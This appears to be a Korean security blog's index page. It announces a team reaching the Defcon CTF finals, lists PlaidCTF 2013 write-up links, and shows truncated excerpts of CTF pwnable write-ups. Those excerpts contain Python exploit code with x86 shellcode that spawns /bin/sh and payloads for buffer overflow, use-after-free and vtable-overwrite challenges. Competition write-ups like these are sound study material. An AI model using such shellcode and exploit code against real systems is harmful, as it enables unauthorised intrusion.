이번 2013/06/15(토) ~ 2013/06/17(월) 동안 있었던 세계 최고의 국제 해킹방어대회 Defcon CTF의 본선에 진출했습니다!! 3년 전부터 Defcon본선 가려고 팀원분들이랑 엄청 노력했는데, 드디어 가게되네요! ㅎㅎㅎ

이번 2013/06/07 ~ 2013/06/08 에 진행된 HDCON 2013에 B10S팀 소속으로 참가했습니다. 문제풀이 방식은 작년과 마찬가지로 레벨별 풀이 방식이었습니다.작년에는 12등으로 아쉽게 본선에 진출하지 못했지만, 올해엔 꼭 가야겠단 생각으로 팀원분들과 열심히 하다보니 대회가 끝나기 전에 10문제를 모두 클리어하여 상위권으로 본선에 진출하게 됬습니다!본선 멤버로는 나가지 않지만, 팀형들께서 꼭 좋은 결과 얻어주실거라 믿습니다. 화이팅!

/etc/apache2/httpd.confAddHandler cgi-script .cgi AllowOverride FileInfo AuthConfig Limit Options MultiViews Indexes SymLinksIfOwnerMatch Execcgi Order allow,deny Allow from all Order deny,allow Deny from all

Challenges- http://shell-storm.org/repo/CTF/PlaidCTF-2013/ Write-upPwnable----------------------------------------------------pork - http://pastie.org/7693773- http://pwn3r.tistory.com/entry/Plaid-CTF-2013-pork- http://bases-hacking.org/pork-pctf2013.html- http://www.bases-hacking.org/pork-pctf2013.html ropsaurusrex- http://hackerschool.org/temp/pctf2013/ropasaurusrex_exp.py- http://codezen.fr/2..

Category : Pwnables Summary : simple remote buffer overflow Exploit#!/usr/bin/python from socket import *from struct import pack HOST = "184.72.73.160"PORT = 33227 shellcode_loader= "\x33\xc0\x33\xd2\x31\xdb\x42\xc1\xe2\x08\x43\x43\x43\x43\x04\x03\x54\x59\x81\xc1\x10\xfe\xff\xff\xcd\x80\x3c\x02\x7e\x02\xff\xe1\x31\xc0\x40\x89\xc3\xcd\x80"# read(4, buf, 0x100) -> buf();SHELLCODE = "\x31\xdb\xf7\x..

Category : Pwnables Summary : signed integer, use-after-free, heap-spray, ASLR & DEP bypass Exploit#!/usr/bin/python import sysfrom struct import pack show= lambda : sys.stdout.write("1\n")add = lambda title, url: sys.stdout.write("2\n"+title+"\n"+url+"\n")modify= lambda num, title, url: sys.stdout.write("3\n"+"1\n"+num+"\n"+title+"\n"+url+"\n")delete = lambda num: sys.stdout.write("4\n"+"1\n"+n..

Category : Pwnables Summary : use-after-free, using uninitialized function pointer Exploit#!/usr/bin/python import sysfrom struct import pack write = lambda author, title, content: sys.stdout.write("1\n"+author+"\n"+title+"\n"+content+"\n")read = lambda idx: sys.stdout.write("2\n"+str(idx)+"\n") delete = lambda: sys.stdout.write("1\n")modify = lambda author, title: sys.stdout.write("2\n"+author+..

Category : Pwnables Summary : arbitrary memory overwrite, vtable Exploit#!/usr/bin/python from socket import * shellcode = "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload = ""payload += "-4\n"payload += "\xe4\x91\x04\x08"payload += "\xe8\x91\x04\x08"payload += "\x90"*0x3..